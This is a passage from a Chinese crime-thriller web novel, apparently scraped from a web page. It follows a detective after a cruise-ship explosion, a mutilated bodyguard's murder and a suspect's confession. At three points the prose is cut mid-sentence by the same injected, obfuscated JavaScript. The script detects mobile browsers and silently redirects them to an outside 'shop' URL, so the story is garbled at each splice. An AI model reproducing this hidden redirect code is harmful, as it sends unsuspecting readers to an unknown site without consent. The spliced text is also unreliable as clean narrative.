从他收到陌生号码的来电,到赶最早的航班到深市,潜伏在这片小渔村,他已经24小时没合眼。 郝朔华很兴奋。 就像他第一次打通深市IP的电话,嘟一声被挂断,和他现在的情况何其相似。不同的是,此时此刻反过来,他的手机才响一声,就被对面挂断。 起初,郝朔华没有在意,还在为挑选黄洁的生日礼物犯愁,到底是选小兔子,还是选芭比娃娃。 可他回忆到这个深市电话的似曾相识之处,立即打过去,却被再次挂断,而随之而来一条短信,告诉他小渔村的位置。 郝朔华不相信,楚瞳联系他,仅仅只是为了戏耍他,楚瞳一定有很重要的事情要自己去做,而楚瞳的身份不方便对外行动,只能找他。 郝朔华一直在等待楚瞳的下一条命令。 “来了。” 短信突然传来两个字,然后就是长久的寂静。 郝朔华还以为,楚瞳只是为了捉弄他,都没把这条短信当回事,楚瞳却在两个小时之后,继续发来短信:“处理一条泥鳅,耽误一点时间,让你久等了。” 郝朔华还想着,楚瞳处理什么泥鳅,需要这么长时间,随即,他想到楚瞳的手段,立即脑门冒汗,赶紧制止楚瞳:“你别冲动,有什么事情好好商量,不要犯法!” 楚瞳慢悠悠打字:“晚了。” 他将疤脸大汉的尸体藏在梧桐街32号,看着这个男人死不瞑目的样子,他啧一声,将睁圆的眼睛合上,“让你留在她身边这么长时间,是对你的眷顾。” 他将破烂的尸体踢到一边,这才拿上车钥匙,打开铁门出去:“等我,马上就到。” 郝朔华不知道,楚瞳的这句马上就到,让他等了一天一夜。直到黎明到来,朔日初升,天际泛白,郝朔华才等到楚瞳的下一条命令。 “去沙头咀待命。” “要做什么?” 郝朔华的这个问题发过去,石沉大海。 他也没有办法,只能动身启程,前往沙头咀。 而就在他打算租一条小船,低调行事的时候,他从渔民的手机中看到,J520号游轮在北海发生意外事故,整船爆炸! 郝朔华目眦欲裂,立即抢过渔民的手机,想要查看官方通报。 可渔民一看他胡子拉杂,脸色枯黄的样子,就以为他是亡命天涯的犯人,不但不给他手机查看,还报警要把他抓起来。 郝朔华来不及讨回已经付过的船费,几个纵跃消失在渔船之中,他藏在船底,拿出早已没电的手机,想要打开,却发现徒劳无功。 “嘭!” 郝朔华拍打船板,将手机扔进大海。 他看一眼沙头咀的方向,再看向北海的方向,他劫持一辆运钞车,闯进深市警署,在层层密布的看押之下,被运往北城。 郝朔华刚进支队,洪曙光立即迎出来,和亲自押送他的深市警署大队长蒙齐握手:“蒙队长,久闻大名,今日有幸得见,是北城支队的光荣!” “狗腿子。”郝朔华在一旁放冷话。 “还有没有纪律纲常,知不知道我是你领导?”洪曙光一脚踢在他屁股上,并怒斥:“你让人家蒙队长亲自把你送回来,这不是耽误蒙队长的事情嘛!” 蒙齐不得不把话挑明:“洪局,郝队这次犯大事了,他劫持运钞车……” “什么?!”洪曙光瞪大眼睛,拧着郝朔华的耳朵:“这小子还敢抢劫银行!他居然穷到这个地步了,回头我会跟郝局说说,让他严肃教育不肖子孙!” 蒙齐还想继续:“劫持运钞车是大罪,处十年以上有期徒刑、无期徒刑或者死刑,并处罚金或者没收财产。” “他抢钱了?”洪曙光疑惑:“还是他伤人了?” 蒙齐无语:“都没有。” 洪曙光笑呵呵,拍他肩膀:“那不是就没事了,这小子就是脾气暴躁,有时候一冲动就会做下傻事,其实没坏心。” 蒙齐还敢说什么,北城支队洪局为郝朔华担保,就算天王老子来了,也得延后审判。 “我这次来,主要带着一个任务。”蒙齐把自己的正事提上来:“邱红依作为经济案犯,需要调往深市协助调查,我这次就是来带走她。” “什么?!” “什么?!” 郝朔华和洪曙光同步发声,两人对视一眼,郝朔华先抢白:“邱红依是崔冕案件的主谋,也是鑫荣赌场的幕后黑手,她绝对不能被带走!” 蒙齐先看一眼洪曙光,见洪局沉默,他就知道有戏。 “你还不知道,鑫荣赌场已经搬空了。”蒙齐看向一脸不知的郝朔华,有点同情他:“在昨晚,鑫荣赌场整座楼人去楼空,就连一张纸都没有留下,想要继续以鑫荣赌场的罪名扣押邱红依,怕是难了。” 郝朔华是刚知道这件事情,昨晚发生那么多大事,他的关注点一直在豪华游轮爆炸事故上面,还没得知,原来黄龙的大本营,鑫荣赌场已经转移。 他看向洪局,洪曙光没有回视他,他就知道,这件事情是真的。 “就算是这样,深市有什么资格带走邱红依?她是我抓的,就由我来审!”郝朔华据理力争:“你们深市未免管的太宽了,手伸到北城,也不知道北城大队的人有没有宽宏大量。” 他想用北城大队压过深市警署大队。 洪曙光都有点想捂脸了。 蒙齐笑眯眯地伸出手:“介绍一下,我是北城刑警大队的队长,蒙齐。很高兴认识你,郝队。” “什么?你就是那个吃里扒外,给黄龙通风报信的小贼!”郝朔华指着蒙齐的鼻子大骂:“你上次拦住我不让查封鑫荣赌场,导致他们现在跑路了,你说,该怎么办吧?” 蒙齐抹一把脸上的口水,也是有点点不悦。他的一切行动都是听从指挥,该做什么,不该做什么,都有上头点头,哪有郝朔华置喙的余地。 “你不要胡搅蛮缠!哪个当警察的同志,不是想最早时间抓获犯罪分子,可犯罪分子会轻轻松松让你揪住辫子吗?如果只是把犯人抓住,却没有捣毁犯罪窝点,那这种行动和功劳,让给你也罢!”蒙齐在明着点出,郝朔华就是好大喜功,就是不顾组织不顾纪律的冲动坏事之人,有他在支队一天,风纪永远不正。 “我做事,还轮不到你多嘴。”郝朔华冷冷地直视蒙齐,想到对方就是规规矩矩上警校谋官职,坐办公室喝茶聊天,爱好开会写报告的大领导,他甚至想抽根烟,“我的队里,牺牲的同志是最少的。” “你!”蒙齐辩不过郝朔华,便不跟他掰扯,转向洪曙光:“洪局,我昨晚也是接到游轮爆炸案,才出差深市,和那边双方协商,初步达成这个合作。” 他将深市那边查到十年前一个卧底被出卖的消息内幕告诉洪曙光,并认为楚瞳很有可能会在深市现身,以及黄龙最有可能回到深市小渔村。三个消息砸下来,就算是郝朔华,也哑口无言。 “只要程序正规,蒙队提人,我们当然放人。”洪曙光抓住郝朔华,将他往后面拖,让出蒙齐进门的路。 “对了。”蒙齐回头看着郝朔华,在后者一双狼崽子的眼神里,他严肃说:“今早,检察院的人去逮捕黄龙,发现早已有人借着检察院的名义,把黄龙提前从豪华游轮上面带走了。目前,还没查到假冒检察院的人是什么来头,但这件事情,如果没有内部人员协作,是不可能达成。” 他就只差明着说,你们支队都还是一个漏网,就不要说我吃里扒外,通风报信。 郝朔华被堵得脸色涨红,想上前与蒙齐理论清楚,可洪曙光死死地抓着他,硬是没让他和一个大队长打起来。 “黄龙被人提前带走了,这是怎么回事?”郝朔华就一晚上没在北城,可北城发生这么多事情,他却半点消息没收到。不在队内的原因,他甚至连一丁点内幕案情都听不到。 “还不是怪你,就算不在北城,好歹手机开机,时常保持畅通,可你倒好,手机关机,要么是没电,要么是你自己不想联系,这怪谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556248|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道不是你大意失荆州,所以被别人抢走功劳吗?” 洪曙光教育郝朔华:“不要总想着人人都是蠢材,只有你一个人在干活,你要思考一下,如果没有上上下下的协同合作,哪里能破获那么多起要案命案?” 郝朔华受教育,但他还是艰难问出:“许晖……” 洪曙光双倍头痛:“他没事,好着呢。” 郝朔华这才放心。若是因为许晖代替他去参加黄洁的生日宴会,而导致许晖也葬身在北海之上,那他这辈子都不会原谅自己。 “他在哪里?”郝朔华想向许晖了解豪华游轮爆炸案的真相,也想问问,还有没有和他一样,死里逃生的人。 “他……”洪曙光才开口,就见行尸走肉的许晖从审讯室里出来,他冲那边点点头。 郝朔华转身,他看到许晖的第一眼,差点认不出来。 只不过才一晚,每个人都才过去一晚,可像是走过无数个夜晚,人人脸上都带着疲惫,甚至是惶恐之后的无力。 郝朔华拍着许晖的肩膀,龇牙想让他打起精神,不要病歪歪的样子,看着像是林黛玉。 “嘿,伙计!精神点儿,不要愁眉苦脸,小心找不到女朋友……”郝朔华逗趣卖萌。 “我亲眼见到她葬身火海。”许晖吐字,打断郝朔华的搞笑,“就在十公里的距离,我能看到她翩跹的裙摆,在浪花下一朵朵绽放花瓣,美得触目惊心,可下一刻,巨大的轰鸣声传来,她被火包围,恐怕早就已经,已经……” 他说不下去,从昨晚到现在,他被强制带回来,不能回头去找白愔,就是这个样子,整个人像是魔怔了,永远记得白愔消失的那一刻的样子。 郝朔华安慰许晖,他想说或许白愔没有死,或许她早就准备好后路,已经悄悄离开,或许她知道一切阴谋,所以提前做好布局,本质是想要迷惑他们,让黄龙能逃之夭夭。 可他还是说不出来。 他没有亲眼见证白愔的死亡,这对他是幸事,他甚至觉得,白愔就没有死。 “你是一个神枪手,兵王,不是一个遇到困难就哭哭啼啼的小女孩!振作起来,那么多受害者还等着你给他们一个真相,你不能让游轮上面一百多人不明不白的死去啊!” 郝朔华拍着许晖的肩膀,给他一个战友间的拥抱:“还记得我们以前在反恐部队的时候,面对境外的不法分子,我们甚至连骨灰都没办法带回国内,但最后我们还是赢了,不管是毒枭,还是疟疾,都没办法将我们带走!” 许晖回忆以前出生入死的情况,那时候确实是把脑袋搁在裤腰带上,吃了上顿没下顿,那时候都不怕,现在还怕啥。 他突然恢复了勇气,并且给郝朔华迎面一拳:“都怪你,好端端的不守在北城,去深市做什么?如果你昨晚在北城,我回来就能把情况告诉你,说不定还能打捞起几个人质,也能审问他们,是不是跟黄龙串通好了。” 郝朔华摸摸鼻尖,默默把许晖的怨气咽下去。 他没有把楚瞳发消息给他,调遣出北城的事情告诉许晖,只是简略带过:“我有点私人的事情,所以走得匆忙,没有通知你。” “啥私人的事情,难道是见老情人?”许晖回怼一句,又想起一件事情,不得不告诉郝朔华,“你要做好心理准备,有一个消息,你听了可能会生气。” “什么事情?”郝朔华还没想到,什么事情能比白愔葬身大海更让自己生气。 “邱红依怀孕了,两个月。”许晖说:“我出来的时候,正好听见关押室那边的人说的,据说孩子的父亲不详。” “什么?”郝朔华都来不及惊诧,愤怒的情绪都还没有酝酿,他就看见挺着肚子的邱红依从前面走过来。 “郝队,多日不见。”邱红依跟郝朔华打招呼,笑意盈盈:“我要感谢郝队对我这段时间的关照,以后,山水有相逢,请郝队照顾好自己。” 她还想给郝朔华整理衣领,被郝朔华让过去了。 蒙齐看一眼两人的互动,什么都没说,带着邱红依走了。 13. 疤脸 郝朔华整个处于焦躁狂暴的状态,他想要找人喝酒,看来看去,发现只有一个人合适。 凤雏一受邀出门的时候,还很惊诧,郝队长居然会把他当做朋友。 两人约在一个深巷子的小酒馆,卖酒的老爷爷是一个瞎子,但是鼻子特别灵,所以酿造的酒一直价值不菲。 郝朔华把自己珍藏的酒拿出来,给凤雏一倒上。 “郝队,喝闷酒有什么意思,我带你寻欢作乐。”凤雏一怂恿郝朔华,正好这段时间,他在学校的调查结束,他可以休息一段时间,这段时间,他既不会离开北城医学院,也不会出国深造。 都没意思,还不如陪着郝朔华饮酒消愁。 “不去。”郝朔华咕噜咕噜地喝酒,辛辣的滋味顺着喉咙流进肺腑,灼热他的心脏。 如果有人能指明他接下来该走哪一条道路,他给人当牛做马都可以。 “郝队有什么烦心事,说出来让我开心开心?”凤雏一凑到郝朔华的面前,看到北城一枝花紧皱的眉头,他恨不得上手帮人把眉头抚平。 “没事。”郝朔华还是不说。一是不习惯对别人诉苦,二是警队有保密政策,他不能对外人透漏案件细节。 再说,他也不知该如何说起。 “既然郝队不想说,那我们就喝酒。”凤雏一给老爷爷敲击两声,卖酒的老爷爷让开位置,凤雏一走过去,充当调酒师,给郝朔华调制一杯鸡尾酒,“尝尝味道怎么样?” “你还有这手艺?”郝朔华发现凤雏一技能才艺还蛮多的,现在的大学教授都需要这么博学多才吗?他抿一口酒,又甜又辣的滋味在心头散开,张大嘴吐着舌头:“你给酒里面加蜂蜜?” “有何不可?”凤雏一说着:“如果我觉得酒苦,我就加蜂蜜,如果我觉得太辣,我就加冰。” 郝朔华苦笑不已。 他倒是活得潇洒自在,可自己还陷入一团沼泽,属实不应该把别人美好的生活拖入地狱。 “我们走吧。”他把酒钱放在吧台上面,也没给老爷爷打招呼,自顾自地出门离去。 凤雏一不知道哪句话得罪了他,还以为两人今天可以约顿晚饭,看来喝酒都够呛。 “你要去哪里?”凤雏一看郝朔华跌跌撞撞的,赶忙扶住他,“现在是傍晚,车多,你不要乱走。” “我想散心,你别管我!”郝朔华把凤雏一推开,还嫌弃他挡住自己的阳光,把人一脚踹到路边。 凤雏一就护送在郝朔华的外围,陪着他散步。两旁的梧桐树高大幽暗,斑驳的光影映照出一对渐行渐远的背影。 “你说我怎么这么背时?努力查案,案件真凶逍遥法外。想要抓住逃跑十年的人,却被人摆一道,还被调虎离山,连最亲近的朋友也葬身大海。我想联合深市警署一起合作,却被人送回支队,还被严令不许擅自离开北城。” 郝朔华越说越大声,把心中的郁闷发泄出来:“我步步错,步步沦陷,仿佛走在别人设计好的圈套之中,那拧紧绳索的人究竟是谁?” 他也不知道是问凤雏一,还是问谁,就那么悲天悯地地述说。 凤雏一双手插兜,悠闲地走在绿荫如盖的阴凉中,“你何必那么纠结,想做什么去做就行。” “我想去深市。”郝朔华停下来,捂住额头:“我想再去小渔村,看看那里有没有什么线索。” “那就去呗!”凤雏一摸着他翘起的头发:“如果有人让你失望,你就离开他。如果有人提供给你帮助,你就联合他。如果有人暗中诱惑你,你就策反他。” 他的声音不高,却足够让郝朔华豁然开朗:“团结一切能团结的力量,只要能达成目的,与人合作还是与虎谋皮,又有何区别?” 郝朔华眼睛刷的一亮:“你说的对!” 他给凤雏一一个紧密的拥抱,然后在后者怔然的眼神中,扫一辆路旁的自行车,歘欻欻地往支队开。 “洪局!”郝朔华进门先叫老大:“深市警署的人走了没有?”那个叫蒙齐的讨厌鬼是不是还在北城,还是已经前往深市? “你鬼叫什么?”洪曙光见郝朔华虽然满身酒气,但是精神头还好,也就没管他无组织无纪律,反正人现在还停职呢,所以也管不了那么严格,“他们一个小时后启程,你现在去机场,还来得及。” 郝朔华转身就走,疾走两步又回过头来:“为什么昨天没出发?是因为出什么事情吗?” “你狗鼻子倒灵。”洪曙光将一份文件丢给他:“梧桐街发现一具男尸,经初步判断,大概率仇杀。” “为什么判定仇杀?凶手作案的手法很残忍吗?”郝朔华接过案情报告,三两眼看完,合上文件:“这个人有点诡异,他明明把受害者的眼睛、耳朵、嘴巴、舌头和鼻子都割下来,全身剥皮,却还保留死者最后的体面,给死者穿戴整齐,换上新的西装,却又肮脏地将人踹入床底。” “他到底是仇恨死者,还是爱到深处是为恨?”郝朔华再看一眼报告,发现受害者至死前一刻都睁大眼睛,他想告诉警方什么,“死者的信息确认了吗?” “正要通知你。”洪曙光说:“经过DNA数据库比对,我们发现死者是金碧辉煌旗下的员工,叫疤脸,代号杀手,日常跟在白愔身边做保镖。” 郝朔华手里的报告掉在地上,他赶忙捡起文件,查看凶案发生的地址:梧桐街32号。 “这个地址不是一直派人监视吗?”郝朔华质问:“我们的人守在大门口,还让凶手在房间把人剥皮杀害?这不是扯淡吗!” “你吼什么?”洪曙光也觉得这件事情办的不好,明明24小时监视梧桐街32号,却还是让凶手把受害者残忍杀害,凶手还在警方的严密监视下,逃匿无踪。整件事情透着诡异,不好判断是敌是友,“凶手有强烈的反侦察意识,并且他的行动在我们的警员行动之上。” 也就是说,凶手比我们的警察厉害多了,所以即便我们有人24小时轮班监视,还是让人跑了。 “啪!” 郝朔华锤一下桌子,竭力控制自己的情绪:“我们的人,就一点动静没听到?” “有警员反馈,案发之前,疤脸进入梧桐街32号的对面小楼,一直没出来,传出的巨大动静也是对面小楼,而不是32号。因为小楼里面的动静很像男女吵架,所以没有引起警员的重视,才酿成悲剧。”洪曙光都不忍再说。 所以,受害者就在警察的监视范围内,眼睁睁被杀害了? 疤脸是白愔的保镖,他一定是受到白愔的命令,所以才来到梧桐街32号,他来做什么? 白愔生死不明,而疤脸大汉被人剥皮,这件事情一定存在某种联系,只是这种联系被人掩盖其中。 “他们是冲着白愔来的。”郝朔华一字一顿:“他们要杀的人,是白愔。” 洪曙光也肃然起敬。 他虽然关注白愔很多年,但众所周知的原因,白愔一直没有被缉拿归案,如果白愔早一点自首,或许她还能留下一命。 “我想知道,凶手没有留下任何指纹信息吗?”郝朔华心里的答案,几乎脱口而出。 洪曙光也回答他,“没有,他做事很专业,像是在局里待过。” 正因为熟悉警方的办案行动,所以凶手预判了警方的行动,就提前一步部署,他的一切都走在警方之前,永远比人早一步。 “顺便一提。”洪曙光观察郝朔华的神色:“你心里怀疑的那个人,他的数据库全网都查不到。” 所以想把罪行强行安在楚瞳身上,是不可能的事情。 就连警方系统都查不到的人,这个人实际上已经“死亡”。 “我想去现场看看。”郝朔华出门寻找周进,发现周进不在,询问之后才得知,周进和蒙齐跑了。 “什么叫和蒙齐跑了?”郝朔华对“跑”这个字眼有点理解无能,难道还能私奔?又不是带球跑? 想到邱红依,郝朔华又是一阵黑脸,“许晖呢?” “许队已经带人在现场勘察了。”小警察战战兢兢地回答郝朔华,见郝队问完就走,她还心有余悸地拍着胸口:“郝队好大的气场,我面对他话都说不清楚。” “你不是说清楚了吗?”另一个实习生说:“你还没告诉队长,邱红依的孩子不是黄龙的吧?” “啊,我忘了!”小警察一阵惊呼,赶紧去追郝朔华。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575286|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>郝朔华到达凶案现场的时候,正看到三个大男人混战在一起。 严格来说,是许晖和蒙齐在拳脚相向,周进处在中间拉架,但三个人力量悬殊,所以造成周进拉架像是拱火。 “干什么干什么?”郝朔华走过去,将打得有来有回,难舍难分地三个人分开:“现在是勘察现场,你们破坏证据,是要受到处罚的。” 周进赶忙喘口气,站到郝朔华身边:“队长,他们两个人打架,我是无辜的!” 郝朔华白一眼周进,他无辜,他最无辜,将早该见分晓的战争拉长到他的到来。 “为什么打架?”郝朔华都想不通,一向好脾气软性子的许晖,还能跟看着就高冷无情的蒙齐打起来,这简直是奇观。 “与你无关。”许晖瞅一眼郝朔华,捂住熊猫眼继续去勘察现场,寻找证据。 蒙齐看一眼一脸好奇的郝朔华,也视而不见地转身离去,周进见他要走,赶紧跟上去,嚷嚷着:“邱红依是我们队长抓获,你不能带走!除非从我的身上跨过去!” 郝朔华见蒙齐还真的打算从周进的身上跨过去,他的嘴巴张大,能塞入一个鸡蛋。 周进这小子,昨天休假,所以没有目睹蒙大队长亲自到支队提人的场景,他今日上班才听闻这个噩耗,立马坐不住了,冲着蒙大队长就要找过去,幸好邱红依押往深市的时间拖延一天,所以才让周进找着机会,和蒙队碰上面。 “果然,人不可貌相,海水不可斗量。”郝朔华只能评价这一句,没管周进纠缠蒙齐,而是走到许晖身边:“查到什么没有?” 许晖告诉郝朔华:“死者生前应该想要传递信息,但是被凶手识破,所以不管是瞳孔成像,还是血迹留言,都没有留下。” 就看凶手的作案手法,就知道是一个老手,他怎么会让死者传出不利于自己的信息。 “海上打捞一直没有结果吗?”郝朔华想要知道,白愔是彻底失踪了,还是被人解救。 她给人留下一幅惊天动地的画面,却只言片语没有,好歹活要见人死要见尸吧。 许晖看一眼郝朔华,明明有什么话就在嘴边,他却没有说出来。 “我先出去接个电话,你继续查。”郝朔华拿着普通手机,走到角落,按键接听:“什么事情?” “郝朔华。”对面传出一道粗噶的声音,明显经过变音:“我送给你一个惊喜,你一定要来小渔村。” 郝朔华低头看向老年手机的界面,这才发现已被挂断。 他这个手机只保留一个电话,就是楚瞳的号码,如果楚瞳让他去小渔村,他最好不要去,因为又要陷入新的圈套,可他还是不得不去。 “多加我一个人。”郝朔华挤进蒙齐身边,硬生生把隔着天堑之距的周进和蒙齐挤到挨在一起,他自来熟地拿起车上的饮料,拧开喝上一口:“蒙队,邱红依的案子,互通有无。” 蒙齐看他一眼,大概是没见过这么没脸没皮的人,心中冷哼一声,不搭理他。 郝朔华还得感谢蒙齐将他送回北城,如果不是因为蒙齐的徇私,大概他要在深市警署待上一段时间,等那段时间过去,别说找楚瞳,就是查白愔的下落,也黄花菜都凉了。 郝朔华不是不懂感恩的人,既然蒙队大人不记小人过,那他也顺坡下驴。 “我们去深市?”郝朔华没话找话:“邱红依也在后面的车上吗?” “她不在。”蒙齐回答他:“邱红依早已乘坐专机,昨天就已到达深市。” “什么?!”郝朔华和周进齐齐瞪大眼睛,周进抓住蒙齐的领口:“你骗我们!” 蒙齐把他的爪子拍开,没好气地怒视郝朔华,看你教出来的好徒弟,没规没矩,连上级都不知道尊重,果然是上梁不正下梁歪! 郝朔华十分无辜,但是蒙齐骗人这件事情,他也不能理解,“你们为什么匆匆送走邱红依?难道是受到谁的指示?” “这个你就不需要知道了。”蒙齐依旧高冷无情:“人我们已经送走,至于她去哪里,就要看郝警官的手段了。” 周进和郝朔华被赶下车队,望着刑警大队的车扬长而去,他们都是鼻孔里面出气,气炸了! 14. 他 白愔醒来的时候,脖子上一阵剧痛。 她被人勒住脖子,拖在船板上行走,四肢传来烧焦的味道,腐肉和喉咙的苦涩让她猛然清醒,她想到在游轮上的一幕,剧烈的大火将她包裹在其中,她正在愣神,已经被大火席卷,抛入海中。 白愔不记得昏迷前发生的事情,隐约觉得有一双手,将她推入海水,所以才让她免于被火苗吞噬,可她想不起来,那个救下她的男人是谁。 “你是谁?” 白愔的眼睛被蒙上白布,她一边用手抓住锁链,让自己得以喘气,一边想要仰起脖子,看清楚男人的面孔。 “我是来救你的人。” 男人说着,将白愔毫不客气地丢在船舱,他把一块木头与白愔绑在一起,重新将她丢进海里:“去吧,去找你的老板。” “咳咳!”白愔呛两口水,总算恢复说话的力气,她把眼睛上的白布摘下来,只看见一个消瘦的身影一晃而过,等她再想去看清楚的时候,男人已经不见了。 水面上浮起淡红的色泽,是她的血液被浸泡,全身开始溃烂发肿。白愔低头看看没有一块完整皮肤的自己,再看向整个游轮的破败残桓,如今整个海面只有她一人,她看不到任何人求救和呼喊的面孔。 与昨晚的历历在目大相径庭。 白愔大喘一口气,突然咳得胸口窒息,她撑着剧痛的身体翻身而起,坐在破烂的船板上,怔怔地看着这一幕。 黄龙居然早就计划好了,要一船的人给他陪葬,让他能顺利的逃到国外。 如果是这样的话,昨晚前来带走黄龙的检察官,就不是检察院的人。 他到底在警察局安排多少眼线? 白愔锤一下船板,手心锐痛,她捂住受伤的左臂,踉踉跄跄地往后舱走。 黄洁昨晚就宿在后舱,如果她没有逃出去,如果黄洁死在海面上…… 白愔加快步伐,几乎眼眶瞬间红了。 她来到黄洁的休息室,看见门板和桌椅都已经被烧焦,而破烂的船舱底部还在渗水,凌乱倒塌的房间里面没有尸体,所以黄洁没有死在游轮上。 白愔脱力地坐在地上,双手抱膝,眼神渐渐凌厉。 不对! 如果黄洁不知道昨晚的计划,那么她几乎不会这么整齐地离开,屋里的摆设都很规则,黄洁昨晚和她分开之后,根本没有进过房间! 所以,黄洁和黄龙两兄妹联手,将她瞒在其中,制造这场巨大的爆炸伤亡案件,他们的目的是什么? 是想要转移什么注意力? 他们的最终结果一定指向某个地点,那这个地点会是哪里? 白愔在思考,而郝朔华同样在思考。他接到报案,本来已经偷渡国外的黄洁,主动自首,想要交代特大游轮爆炸案的真相。 郝朔华亲自去审问黄洁。 黄洁头发凌乱,眼眶通红,明显是哭过,身上还穿着生日宴会上的高定晚礼服,披着一件男士外套,脚上的伤口裂开,正汩汩流着鲜血,但是她没在意。 她的情绪还算正常,但整个人在发抖。 “我哥要杀白姐姐,我哥要杀白姐姐,我哥要杀白姐姐……” 她嘴里喃喃自语,一直咕哝着一句话,因为听不太清,郝朔华凑近一点,总算把她的迷障听清了。 黄洁猛地抬头,瞪着眼前的便衣警察,她仿佛失智,站起来大喊大叫,四肢抓狂:“你不是郝警官,你是谁?我要见郝朔华,让郝朔华来见我,不然我什么都不会说!” 郝朔华猛地提声,震耳欲聋:“你看清楚,我是谁!” 黄洁霎时一颤,颤颤巍巍地坐下来,身体蜷缩在椅子上,害怕地往后面缩去,“我,我害怕……” 郝朔华只能叫进来女警,让女警先帮黄洁处理伤口,该包扎的包扎。 可黄洁拒不配合,当女警将手放在她脚上的伤口上,她忽然伤人,将女警踢开,胡言乱语地叫着:“快去救白姐姐,快去救白姐姐,快去救白姐姐!” 郝朔华只能安排人给她打一针镇定剂。 等到黄洁总算冷静下来,能好好说话的时候,她的眼睛里无知无觉地流出两行眼泪。 “我出生在一个小渔村,我的父亲很早就离开家,一直都是母亲捕鱼卖鱼养活我和哥哥,我的哥哥十分聪明能干,在十一岁的时候就接过母亲手里的重担,照顾起生病的母亲和我。” 她擦一下眼泪,继续叙说:“我没吃过什么苦头,一直都有妈妈和哥哥挡在我的前面,直到妈妈去世,哥哥把我宠成小公主,我就真以为自己是公主,在小渔村无法无天,拉帮结派,很快有当女大王的嫌疑。” 她说到这里,轻笑一下,可能想起那段无忧无虑的日子,那是她这辈子最开心最快乐的时光,所以总是记忆深刻。 “我的脑子不好,哥哥的脑子很好,我想要女王的生活,于是我告诉哥哥,不要念书了,去混帮派吧,只要混成老大,以后我就可以在小渔村横着走了。”黄洁扭动一下身体,依靠在椅背上,“哥哥很宠我,于是就加入青头派,没几年就是响当当的人物。” “我们那些街头混混,也就是做些要账和收保护费的事情,没有插手帮派的血腥争斗,更没有做违法犯罪的事情,我以为那样的日子就可以过一辈子,直到哥哥某天晚上流着血回来。” “我被吓坏了,我害怕哥哥哪天出门之后,再也不会回来,所以我让哥哥不要去帮派,回家来,陪着我。”黄洁眼神飘远,能看到小时候的自己赤着脚,跟在哥哥身后赶海的日子。他们身影逐渐变大,于是长成一对招人眼球的靓女帅哥。 “哥哥最宠我,我说什么就是什么,所以当晚我们就整理积蓄,想要拿着这笔钱出去做生意,原本我们就走成了。”她说到这里,语气突然变得怨恨,“是他回来了,他带来了金钱,权利,地位和欲望,他把哥哥带走了,于是我和哥哥第一次分开。” 黄洁捂住脸,滚烫的泪水顺着她的手心,一直滴落到地面上,形成一个小洼,映照着严肃公正的警徽。 “我虽然那时候才五六岁,不懂哥哥和父亲在做什么买卖,但是随着哥哥身边的人越来越多,越来越凶恶,我知道他身边很危险,我开始学好,想要引起父亲和哥哥的注意,可是父亲不喜欢我,并说我不像他的女儿,我是野种。”黄洁语气悠叹:“哥哥每次听到这种话,都会和父亲打架,而每次父亲都很高兴,会交给哥哥更危险的任务。” 小小的黄洁,大大地疑惑:“我甚至怀疑大哥才不是父亲的儿子,因为没有父亲会不爱自己的孩子。” “变故发生在我上初中那年,哥哥身边来了一个漂亮姐姐。”黄洁永远记得第一眼见到白愔的样子,她的子弹穿过父亲的额头,父亲倒地身亡,鲜血流满一地,再也爬不起来,而她躲在灌木丛后,看到白姐姐和一个漂亮的英俊警官站在一起,他们说着什么,她的笑容很明亮惊艳。 黄洁知道父亲死了,但是她很高兴,以为这样就能拉哥哥出那趟浑水。可事实证明,已经染满鲜血的人,是不可能放下屠刀的。 “白姐姐来到我大哥的身边,想要帮助我大哥上位,那时候父亲刚死,帮派里面很混乱,经常发生内斗和死伤,白姐姐就把我带在身边,亲自教我读书,并且让我不要和帮派里面的人接触。”黄洁双手捧脸,眼神里面亮晶晶的:“我很感谢白姐姐,是她把我泥沼一样的生活洗净,带我走出荆棘。” “我过后一直在回忆,如果没有白姐姐,也许我真的会成为帮派女王,过上呼风唤雨的日子,可真的直到这种日子唾手可得的时候,我却觉得惊恐。”黄洁能够回忆起,将近十年,哥哥和父亲杀人犯法的日子,她过得如何胆战心惊。对警察的恐惧,几乎也是那个时候形成的。 “不能当女王的时候,我很向往,可真的可以戴上王冠,我只觉得疲惫。”黄洁剖析自己,一如白姐姐给她讲课的时候,让她先理清楚自己想要什么,该如何去做,结果会带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591496|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎样的后患。她觉得她已经出师了,因为她曾经忘记的回忆,这一刻乍然苏醒,她才知道,她为什么那么防备白姐姐——因为白姐姐是杀害父亲的真正凶手。 可她一直没有告诉哥哥,也没有告诉任何人,她甚至连自己都欺骗过去,忘记那段回忆,当做不存在,所以相当于她连自己没有告诉。 白愔一直细心周到的照顾她,把她当做亲妹妹疼爱,黄洁不是感受不到,可神经上的紧张和脑海中的警惕一直没有消失,她以前找不到答案,现在抽丝剥茧,一切都有源头。 